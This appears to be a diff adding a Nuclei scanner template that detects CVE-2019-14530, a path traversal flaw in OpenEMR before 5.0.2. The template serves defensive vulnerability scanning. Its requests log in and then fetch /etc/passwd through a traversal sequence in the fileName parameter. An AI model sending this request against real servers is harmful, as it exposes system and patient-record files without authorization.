■ ■ ■ ■ ■ ■
config/nuclei-templates/cves/2019/CVE-2019-14530.yaml
| 1 | + | id: CVE-2019-14530 |
| 2 | + | |
| 3 | + | info: |
| 4 | + | name: OpenEMR < 5.0.2 - Path Traversal |
| 5 | + | author: TenBird |
| 6 | + | severity: high |
| 7 | + | description: | |
| 8 | + | An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server. |
| 9 | + | reference: |
| 10 | + | - https://www.exploit-db.com/exploits/50037 |
| 11 | + | - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip |
| 12 | + | - https://nvd.nist.gov/vuln/detail/CVE-2019-14530 |
| 13 | + | - https://github.com/openemr/openemr/pull/2592 |
| 14 | + | classification: |
| 15 | + | cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 16 | + | cvss-score: 8.8 |
| 17 | + | cve-id: CVE-2019-14530 |
| 18 | + | cwe-id: CWE-22 |
| 19 | + | metadata: |
| 20 | + | verified: "true" |
| 21 | + | tags: lfi,authenticated,edb,cve,cve2019,openemr |
| 22 | + | |
| 23 | + | requests: |
| 24 | + | - raw: |
| 25 | + | - | |
| 26 | + | POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1 |
| 27 | + | Host: {{Hostname}} |
| 28 | + | Content-Type: application/x-www-form-urlencoded |
| 29 | + | |
| 30 | + | new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1 |
| 31 | + | |
| 32 | + | - | |
| 33 | + | GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1 |
| 34 | + | Host: {{Hostname}} |
| 35 | + | |
| 36 | + | redirects: true |
| 37 | + | max-redirects: 2 |
| 38 | + | cookie-reuse: true |
| 39 | + | matchers-condition: and |
| 40 | + | matchers: |
| 41 | + | - type: regex |
| 42 | + | regex: |
| 43 | + | - "root:[x*]:0:0" |
| 44 | + | |
| 45 | + | - type: word |
| 46 | + | part: header |
| 47 | + | words: |
| 48 | + | - filename=passwd |
| 49 | + | |
| 50 | + | - type: status |
| 51 | + | status: |
| 52 | + | - 200 |
| 53 | + | |